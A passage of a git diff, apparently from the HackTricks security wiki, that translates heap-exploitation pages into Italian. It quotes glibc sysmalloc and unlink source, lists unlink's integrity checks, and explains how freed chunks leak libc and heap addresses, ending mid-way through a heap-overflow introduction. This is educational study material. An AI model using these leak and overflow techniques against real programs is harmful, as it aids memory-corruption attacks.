-sysmalloc not main arena - +sysmalloc non arena principale ```c if (av != &main_arena) - { - heap_info *old_heap, *heap; - size_t old_heap_size; +{ +heap_info *old_heap, *heap; +size_t old_heap_size; - /* First try to extend the current heap. */ - old_heap = heap_for_ptr (old_top); - old_heap_size = old_heap->size; - if ((long) (MINSIZE + nb - old_size) > 0 - && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) - { - av->system_mem += old_heap->size - old_heap_size; - set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) - | PREV_INUSE); - } - else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) - { - /* Use a newly allocated heap. */ - heap->ar_ptr = av; - heap->prev = old_heap; - av->system_mem += heap->size; - /* Set up the new top. */ - top (av) = chunk_at_offset (heap, sizeof (*heap)); - set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); - /* Setup fencepost and free the old top chunk with a multiple of - MALLOC_ALIGNMENT in size. */ - /* The fencepost takes at least MINSIZE bytes, because it might - become the top chunk again later. Note that a footer is set - up, too, although the chunk is marked in use. */ - old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; - set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), - 0 | PREV_INUSE); - if (old_size >= MINSIZE) - { - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); - set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); - _int_free (av, old_top, 1); - } - else - { - set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); - set_foot (old_top, (old_size + CHUNK_HDR_SZ)); - } - } - else if (!tried_mmap) - { - /* We can at least try to use to mmap memory. If new_heap fails - it is unlikely that trying to allocate huge pages will - succeed. */ - char *mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - } - } +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} ``` -
### sysmalloc main arena -It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed. +Inizia a calcolare la quantità di memoria necessaria. Inizierà richiedendo memoria contigua, quindi in questo caso sarà possibile utilizzare la vecchia memoria non utilizzata. Vengono inoltre eseguite alcune operazioni di allineamento.
sysmalloc main arena - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 - else /* av == main_arena */ +else /* av == main_arena */ - { /* Request enough space for nb + pad + overhead */ - size = nb + mp_.top_pad + MINSIZE; +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; - /* - If contiguous, we can subtract out existing space that we hope to - combine with new space. We add it back later only if - we don't actually get contiguous space. - */ +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ - if (contiguous (av)) - size -= old_size; +if (contiguous (av)) +size -= old_size; - /* - Round to a multiple of page size or huge page size. - If MORECORE is not contiguous, this ensures that we only call it - with whole-page arguments. And if MORECORE is contiguous and - this is not first time through, this preserves page-alignment of - previous calls. Otherwise, we correct to page-align below. - */ +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ #ifdef MADV_HUGEPAGE - /* Defined in brk.c. */ - extern void *__curbrk; - if (__glibc_unlikely (mp_.thp_pagesize != 0)) - { - uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, - mp_.thp_pagesize); - size = top - (uintptr_t) __curbrk; - } - else +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else #endif - size = ALIGN_UP (size, GLRO(dl_pagesize)); +size = ALIGN_UP (size, GLRO(dl_pagesize)); - /* - Don't try to call MORECORE if argument is so big as to appear - negative. Note that since mmap takes size_t arg, it may succeed - below even if we cannot call MORECORE. - */ +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ - if (size > 0) - { - brk = (char *) (MORECORE (size)); - if (brk != (char *) (MORECORE_FAILURE)) - madvise_thp (brk, size); - LIBC_PROBE (memory_sbrk_more, 2, brk, size); - } +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} ``` -
-### sysmalloc main arena previous error 1 +### sysmalloc erro precedente dell'arena principale 1 -If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback` +Se il precedente ha restituito `MORECORE_FAILURE`, prova di nuovo ad allocare memoria usando `sysmalloc_mmap_fallback`
-sysmalloc main arena previous error 1 - +sysmalloc erro precedente dell'arena principale 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 if (brk == (char *) (MORECORE_FAILURE)) - { - /* - If have mmap, try using it as a backup when MORECORE fails or - cannot be used. This is worth doing on systems that have "holes" in - address space, so sbrk cannot extend to give contiguous space, but - space is available elsewhere. Note that we ignore mmap max count - and threshold limits, since the space will not be used as a - segregated mmap region. - */ +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ - char *mbrk = MAP_FAILED; - if (mp_.hp_pagesize > 0) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, - mp_.hp_pagesize, mp_.hp_pagesize, - mp_.hp_flags, av); - if (mbrk == MAP_FAILED) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, - pagesize, 0, av); - if (mbrk != MAP_FAILED) - { - /* We do not need, and cannot use, another sbrk call to find end */ - brk = mbrk; - snd_brk = brk + size; - } - } +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} ``` -
-### sysmalloc main arena continue +### sysmalloc main arena continua -If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments: +Se il precedente non ha restituito `MORECORE_FAILURE`, se ha funzionato crea alcune allineamenti:
-sysmalloc main arena previous error 2 - +sysmalloc main arena errore precedente 2 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 if (brk != (char *) (MORECORE_FAILURE)) - { - if (mp_.sbrk_base == 0) - mp_.sbrk_base = brk; - av->system_mem += size; +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; - /* - If MORECORE extends previous space, we can likewise extend top size. - */ +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ - if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) - set_head (old_top, (size + old_size) | PREV_INUSE); +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); - else if (contiguous (av) && old_size && brk < old_end) - /* Oops! Someone else killed our space.. Can't touch anything. */ - malloc_printerr ("break adjusted to free malloc space"); +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); - /* - Otherwise, make adjustments: +/* +Otherwise, make adjustments: - * If the first time through or noncontiguous, we need to call sbrk - just to find out where the end of memory lies. +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. - * We need to ensure that all returned chunks from malloc will meet - MALLOC_ALIGNMENT +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT - * If there was an intervening foreign sbrk, we need to adjust sbrk - request size to account for fact that we will not be able to - combine new space with existing space in old_top. +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. - * Almost all systems internally allocate whole pages at a time, in - which case we might as well use the whole last page of request. - So we allocate enough more memory to hit a page boundary now, - which in turn causes future contiguous calls to page-align. - */ +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ - else - { - front_misalign = 0; - end_misalign = 0; - correction = 0; - aligned_brk = brk; +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; - /* handle contiguous cases */ - if (contiguous (av)) - { - /* Count foreign sbrk as system_mem. */ - if (old_size) - av->system_mem += brk - old_end; +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; - /* Guarantee alignment of first new chunk made from this space */ +/* Guarantee alignment of first new chunk made from this space */ - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - correction = MALLOC_ALIGNMENT - front_misalign; - aligned_brk += correction; - } +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} - /* - If this isn't adjacent to existing space, then we will not - be able to merge with old_top space, so must add to 2nd request. - */ +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ - correction += old_size; +correction += old_size; - /* Extend the end address to hit a page boundary */ - end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); - correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; - assert (correction >= 0); - snd_brk = (char *) (MORECORE (correction)); +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); - /* - If can't allocate correction, try to at least find out current - brk. It might be enough to proceed without failing. +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. - Note that if second sbrk did NOT fail, we assume that space - is contiguous with first sbrk. This is a safe assumption unless - program is multithreaded but doesn't use locks and a foreign sbrk - occurred between our first and second calls. - */ +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - correction = 0; - snd_brk = (char *) (MORECORE (0)); - } - else - madvise_thp (snd_brk, correction); - } +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} - /* handle non-contiguous cases */ - else - { - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - /* MORECORE/mmap must correctly align */ - assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); - else - { - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - aligned_brk += MALLOC_ALIGNMENT - front_misalign; - } - } +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} - /* Find out current end of memory */ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - snd_brk = (char *) (MORECORE (0)); - } - } +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} - /* Adjust top based on results of second sbrk */ - if (snd_brk != (char *) (MORECORE_FAILURE)) - { - av->top = (mchunkptr) aligned_brk; - set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); - av->system_mem += correction; +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; - /* - If not the first time through, we either have a - gap due to foreign sbrk or a non-contiguous region. Insert a - double fencepost at old_top to prevent consolidation with space - we don't own. These fenceposts are artificial chunks that are - marked as inuse and are in any case too small to use. We need - two to make sizes and alignments work out. - */ +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ - if (old_size != 0) - { - /* - Shrink old_top to insert fenceposts, keeping size a - multiple of MALLOC_ALIGNMENT. We know there is at least - enough space in old_top to do this. - */ - old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; - set_head (old_top, old_size | PREV_INUSE); +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); - /* - Note that the following assignments completely overwrite - old_top when old_size was previously MINSIZE. This is - intentional. We need the fencepost, even if old_top otherwise gets - lost. - */ - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_head (chunk_at_offset (old_top, - old_size + CHUNK_HDR_SZ), - CHUNK_HDR_SZ | PREV_INUSE); +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); - /* If possible, release the rest. */ - if (old_size >= MINSIZE) - { - _int_free (av, old_top, 1); - } - } - } - } - } - } /* if (av != &main_arena) */ +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ ``` -
### sysmalloc finale -Finish the allocation updating the arena information - +Completa l'allocazione aggiornando le informazioni dell'arena. ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) - av->max_system_mem = av->system_mem; - check_malloc_state (av); +av->max_system_mem = av->system_mem; +check_malloc_state (av); - /* finally, do the allocation */ - p = av->top; - size = chunksize (p); +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); - /* check that one of the above allocation paths succeeded */ - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (p, nb); - av->top = remainder; - set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, p, nb); - return chunk2mem (p); - } +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} - /* catch all failure paths */ - __set_errno (ENOMEM); - return 0; +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; ``` - ## sysmalloc_mmap
-sysmalloc_mmap code - +codice sysmalloc_mmap ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 static void * sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) { - long int size; +long int size; - /* - Round up size to nearest page. For mmapped chunks, the overhead is one - SIZE_SZ unit larger than for normal chunks, because there is no - following chunk whose prev_size field could be used. +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. - See the front_misalign handling below, for glibc there is no need for - further alignments unless we have have high alignment. - */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - size = ALIGN_UP (nb + SIZE_SZ, pagesize); - else - size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); - /* Don't try if size wraps around 0. */ - if ((unsigned long) (size) <= (unsigned long) (nb)) - return MAP_FAILED; +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; - char *mm = (char *) MMAP (0, size, - mtag_mmap_flags | PROT_READ | PROT_WRITE, - extra_flags); - if (mm == MAP_FAILED) - return mm; +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; #ifdef MAP_HUGETLB - if (!(extra_flags & MAP_HUGETLB)) - madvise_thp (mm, size); +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); #endif - __set_vma_name (mm, size, " glibc: malloc"); +__set_vma_name (mm, size, " glibc: malloc"); - /* - The offset to the start of the mmapped region is stored in the prev_size - field of the chunk. This allows us to adjust returned start address to - meet alignment requirements here and in memalign(), and still be able to - compute proper address argument for later munmap in free() and realloc(). - */ +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - { - /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and - MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page - aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ - assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); - front_misalign = 0; - } - else - front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; - mchunkptr p; /* the allocated/returned chunk */ +mchunkptr p; /* the allocated/returned chunk */ - if (front_misalign > 0) - { - ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; - p = (mchunkptr) (mm + correction); - set_prev_size (p, correction); - set_head (p, (size - correction) | IS_MMAPPED); - } - else - { - p = (mchunkptr) mm; - set_prev_size (p, 0); - set_head (p, size | IS_MMAPPED); - } +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} - /* update statistics */ - int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; - atomic_max (&mp_.max_n_mmaps, new); +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max (&mp_.max_n_mmaps, new); - unsigned long sum; - sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; - atomic_max (&mp_.max_mmapped_mem, sum); +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); - check_chunk (av, p); +check_chunk (av, p); - return chunk2mem (p); +return chunk2mem (p); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 7d26f6546..0aacc8fd6 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -2,8 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Code - +### Codice ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -11,73 +10,72 @@ static void unlink_chunk (mstate av, mchunkptr p) { - if (chunksize (p) != prev_size (next_chunk (p))) - malloc_printerr ("corrupted size vs. prev_size"); +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); - mchunkptr fd = p->fd; - mchunkptr bk = p->bk; +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; - if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) - malloc_printerr ("corrupted double-linked list"); +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); - fd->bk = bk; - bk->fd = fd; - if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) - { - if (p->fd_nextsize->bk_nextsize != p - || p->bk_nextsize->fd_nextsize != p) - malloc_printerr ("corrupted double-linked list (not small)"); +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); - // Added: If the FD is not in the nextsize list - if (fd->fd_nextsize == NULL) - { +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ - if (p->fd_nextsize == p) - fd->fd_nextsize = fd->bk_nextsize = fd; - else - // Link the nexsize list in when removing the new chunk - { - fd->fd_nextsize = p->fd_nextsize; - fd->bk_nextsize = p->bk_nextsize; - p->fd_nextsize->bk_nextsize = fd; - p->bk_nextsize->fd_nextsize = fd; - } - } - else - { - p->fd_nextsize->bk_nextsize = p->bk_nextsize; - p->bk_nextsize->fd_nextsize = p->fd_nextsize; - } - } +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} } ``` +### Spiegazione Grafica -### Graphical Explanation - -Check this great graphical explanation of the unlink process: +Controlla questa ottima spiegazione grafica del processo unlink:

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

-### Security Checks +### Controlli di Sicurezza -- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk -- Check also that `P->fd->bk == P` and `P->bk->fw == P` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` +- Controlla se la dimensione indicata del chunk è la stessa del prev_size indicato nel chunk successivo +- Controlla anche che `P->fd->bk == P` e `P->bk->fw == P` +- Se il chunk non è piccolo, controlla che `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P` -### Leaks +### Leak -An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: +Un chunk non collegato non pulisce gli indirizzi allocati, quindi avendo accesso per leggerlo, è possibile rivelare alcuni indirizzi interessanti: Libc Leaks: -- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc -- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc -- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. +- Se P si trova nella testa della lista doppiamente collegata, `bk` punterà a `malloc_state` in libc +- Se P si trova alla fine della lista doppiamente collegata, `fd` punterà a `malloc_state` in libc +- Quando la lista doppiamente collegata contiene solo un chunk libero, P è nella lista doppiamente collegata, e sia `fd` che `bk` possono rivelare l'indirizzo all'interno di `malloc_state`. Heap leaks: -- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap -- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap -- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap +- Se P si trova nella testa della lista doppiamente collegata, `fd` punterà a un chunk disponibile nell'heap +- Se P si trova alla fine della lista doppiamente collegata, `bk` punterà a un chunk disponibile nell'heap +- Se P è nella lista doppiamente collegata, sia `fd` che `bk` punteranno a un chunk disponibile nell'heap {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 24ea86a70..c812a45fa 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -2,49 +2,47 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** +Un heap overflow è simile a un [**stack overflow**](../stack-overflow/) ma nell'heap. Fondamentalmente significa che è stato riservato dello spazio nell'heap per memorizzare alcuni dati e **i dati memorizzati erano più grandi dello spazio riservato.** -In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. +Negli stack overflow sappiamo che alcuni registri come il puntatore di istruzione o il frame dello stack verranno ripristinati 